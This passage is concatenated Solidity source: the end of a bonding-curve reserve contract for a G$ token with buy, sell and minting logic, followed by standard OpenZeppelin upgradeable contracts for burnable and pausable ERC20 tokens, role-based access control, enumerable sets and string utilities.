rtoken.reserveSupply,
rtoken.reserveRatio,
_tokenAmount
);
}
/**
* @dev Calculates the sell return in _token according to the given _gdAmount
* @param _token The desired reserve token to have
* @param _gdAmount The amount of GD that are sold
* @return Number of tokens that should be given in exchange as calculated by the bonding curve
*/
function sellReturn(ERC20 _token, uint256 _gdAmount)
public
view
returns (uint256)
{
ReserveToken memory rtoken = reserveTokens[address(_token)];
return
getBancor().calculateSaleReturn(
rtoken.gdSupply,
rtoken.reserveSupply,
rtoken.reserveRatio,
_gdAmount
);
}
/**
* @dev Updates the _token bonding curve params. Emits `BalancesUpdated` with the
* new reserve token information.
* @param _token The reserve token buying with
* @param _tokenAmount The amount of reserve token buying with
* @return (gdReturn) Number of GD that will be given in exchange as calculated by the bonding curve
*/
function buy(ERC20 _token, uint256 _tokenAmount) public returns (uint256) {
_onlyReserveOrAvatar();
_onlyActiveToken(_token);
uint256 gdReturn = buyReturn(_token, _tokenAmount);
ReserveToken storage rtoken = reserveTokens[address(_token)];
rtoken.gdSupply += gdReturn;
rtoken.reserveSupply += _tokenAmount;
emit BalancesUpdated(
msg.sender,
address(_token),
_tokenAmount,
gdReturn,
rtoken.gdSupply,
rtoken.reserveSupply
);
return gdReturn;
}
/**
* @dev Updates the bonding curve params. Decrease RR to in order to mint gd in the amount of provided
* new RR = Reserve supply / ((gd supply + gd mint amount) * price)
* @param _gdAmount Amount of gd to add reserveParams
* @param _token The reserve token which is currently active
*/
function mintFromReserveRatio(ERC20 _token, uint256 _gdAmount) public {
_onlyReserveOrAvatar();
_onlyActiveToken(_token);
uint256 reserveDecimalsDiff = uint256(27) - _token.decimals(); // //result is in RAY precision
ReserveToken storage rtoken = reserveTokens[address(_token)];
uint256 priceBeforeGdSupplyChange = currentPrice(_token);
rtoken.gdSupply += _gdAmount;
rtoken.reserveRatio = uint32(
((rtoken.reserveSupply * 1e27) /
(rtoken.gdSupply * priceBeforeGdSupplyChange)) / 10**reserveDecimalsDiff
); // Divide it decimal diff to bring it proper decimal
}
/**
* @dev Calculates the sell return with contribution in _token and update the bonding curve params.
* Emits `BalancesUpdated` with the new reserve token information.
* @param _token The desired reserve token to have
* @param _gdAmount The amount of GD that are sold
* @param _contributionGdAmount The number of GD tokens that will not be traded for the reserve token
* @return Number of tokens that will be given in exchange as calculated by the bonding curve
*/
function sellWithContribution(
ERC20 _token,
uint256 _gdAmount,
uint256 _contributionGdAmount
) public returns (uint256) {
_onlyReserveOrAvatar();
_onlyActiveToken(_token);
require(
_gdAmount >= _contributionGdAmount,
"GD amount is lower than the contribution amount"
);
ReserveToken storage rtoken = reserveTokens[address(_token)];
require(
rtoken.gdSupply >= _gdAmount,
"GD amount is higher than the total supply"
);
// Deduces the convertible amount of GD tokens by the given contribution amount
uint256 amountAfterContribution = _gdAmount - _contributionGdAmount;
// The return value after the deduction
uint256 tokenReturn = sellReturn(_token, amountAfterContribution);
rtoken.gdSupply -= _gdAmount;
rtoken.reserveSupply -= tokenReturn;
emit BalancesUpdated(
msg.sender,
address(_token),
_contributionGdAmount,
tokenReturn,
rtoken.gdSupply,
rtoken.reserveSupply
);
return tokenReturn;
}
/**
* @dev Current price of GD in `token`. currently only cDAI is supported.
* @param _token The desired reserve token to have
* @return price of GD
*/
function currentPrice(ERC20 _token) public view returns (uint256) {
ReserveToken memory rtoken = reserveTokens[address(_token)];
return
getBancor().calculateSaleReturn(
rtoken.gdSupply,
rtoken.reserveSupply,
rtoken.reserveRatio,
(10**decimals)
);
}
//TODO: need real calculation and tests
/**
* @dev Calculates how much G$ to mint based on added token supply (from interest)
* and on current reserve ratio, in order to keep G$ price the same at the bonding curve
* formula to calculate the gd to mint: gd to mint =
* addreservebalance * (gdsupply / (reservebalance * reserveratio))
* @param _token the reserve token
* @param _addTokenSupply amount of token added to supply
* @return how much to mint in order to keep price in bonding curve the same
*/
function calculateMintInterest(ERC20 _token, uint256 _addTokenSupply)
public
view
returns (uint256)
{
uint256 decimalsDiff = uint256(27) - decimals;
//resulting amount is in RAY precision
//we divide by decimalsdiff to get precision in GD (2 decimals)
return
((_addTokenSupply * 1e27) / currentPrice(_token)) / (10**decimalsDiff);
}
/**
* @dev Updates bonding curve based on _addTokenSupply and new minted amount
* @param _token The reserve token
* @param _addTokenSupply Amount of token added to supply
* @return How much to mint in order to keep price in bonding curve the same
*/
function mintInterest(ERC20 _token, uint256 _addTokenSupply)
public
returns (uint256)
{
_onlyReserveOrAvatar();
_onlyActiveToken(_token);
if (_addTokenSupply == 0) {
return 0;
}
uint256 toMint = calculateMintInterest(_token, _addTokenSupply);
ReserveToken storage reserveToken = reserveTokens[address(_token)];
reserveToken.gdSupply += toMint;
reserveToken.reserveSupply += _addTokenSupply;
return toMint;
}
/**
* @dev Calculate how much G$ to mint based on expansion change (new reserve
* ratio), in order to keep G$ price the same at the bonding curve. the
* formula to calculate the gd to mint: gd to mint =
* (reservebalance / (newreserveratio * currentprice)) - gdsupply
* @param _token The reserve token
* @return How much to mint in order to keep price in bonding curve the same
*/
function calculateMintExpansion(ERC20 _token) public view returns (uint256) {
ReserveToken memory reserveToken = reserveTokens[address(_token)];
uint32 newReserveRatio = calculateNewReserveRatio(_token); // new reserve ratio
uint256 reserveDecimalsDiff = uint256(27) - _token.decimals(); // //result is in RAY precision
uint256 denom = (uint256(newReserveRatio) *
1e21 *
currentPrice(_token) *
(10**reserveDecimalsDiff)) / 1e27; // (newreserveratio * currentprice) in RAY precision
uint256 gdDecimalsDiff = uint256(27) - decimals;
uint256 toMint = ((reserveToken.reserveSupply *
(10**reserveDecimalsDiff) *
1e27) / denom) / (10**gdDecimalsDiff); // reservebalance in RAY precision // return to gd precision
return toMint - reserveToken.gdSupply;
}
/**
* @dev Updates bonding curve based on expansion change and new minted amount
* @param _token The reserve token
* @return How much to mint in order to keep price in bonding curve the same
*/
function mintExpansion(ERC20 _token) public returns (uint256) {
_onlyReserveOrAvatar();
_onlyActiveToken(_token);
uint256 toMint = calculateMintExpansion(_token);
reserveTokens[address(_token)].gdSupply += toMint;
expandReserveRatio(_token);
return toMint;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC20Upgradeable.sol";
import "../../../utils/ContextUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20BurnableUpgradeable is Initializable, ContextUpgradeable, ERC20Upgradeable {
function __ERC20Burnable_init() internal initializer {
__Context_init_unchained();
__ERC20Burnable_init_unchained();
}
function __ERC20Burnable_init_unchained() internal initializer {
}
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC20Upgradeable.sol";
import "../../../security/PausableUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev ERC20 token with pausable token transfers, minting and burning.
*
* Useful for scenarios such as preventing trades until the end of an evaluation
* period, or having an emergency switch for freezing all token transfers in the
* event of a large bug.
*/
abstract contract ERC20PausableUpgradeable is Initializable, ERC20Upgradeable, PausableUpgradeable {
function __ERC20Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
__ERC20Pausable_init_unchained();
}
function __ERC20Pausable_init_unchained() internal initializer {
}
/**
* @dev See {ERC20-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
require(!paused(), "ERC20Pausable: token transfer while paused");
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControlEnumerableUpgradeable.sol";
import "./AccessControlUpgradeable.sol";
import "../utils/structs/EnumerableSetUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Extension of {AccessControl} that allows enumerating the members of each role.
*/
abstract contract AccessControlEnumerableUpgradeable is Initializable, IAccessControlEnumerableUpgradeable, AccessControlUpgradeable {
function __AccessControlEnumerable_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
__AccessControlEnumerable_init_unchained();
}
function __AccessControlEnumerable_init_unchained() internal initializer {
}
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) private _roleMembers;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
return _roleMembers[role].at(index);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
return _roleMembers[role].length();
}
/**
* @dev Overload {grantRole} to track enumerable memberships
*/
function grantRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) {
super.grantRole(role, account);
_roleMembers[role].add(account);
}
/**
* @dev Overload {revokeRole} to track enumerable memberships
*/
function revokeRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) {
super.revokeRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {renounceRole} to track enumerable memberships
*/
function renounceRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) {
super.renounceRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {_setupRole} to track enumerable memberships
*/
function _setupRole(bytes32 role, address account) internal virtual override {
super._setupRole(role, account);
_roleMembers[role].add(account);
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControlUpgradeable.sol";
/**
* @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
*/
interface IAccessControlEnumerableUpgradeable is IAccessControlUpgradeable {
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControlUpgradeable.sol";
import "../utils/ContextUpgradeable.sol";
import "../utils/StringsUpgradeable.sol";
import "../utils/introspection/ERC165Upgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable {
function __AccessControl_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal initializer {
}
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
StringsUpgradeable.toHexString(uint160(account), 20),
" is missing role ",
StringsUpgradeable.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSetUpgradeable {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165Upgradeable.sol";
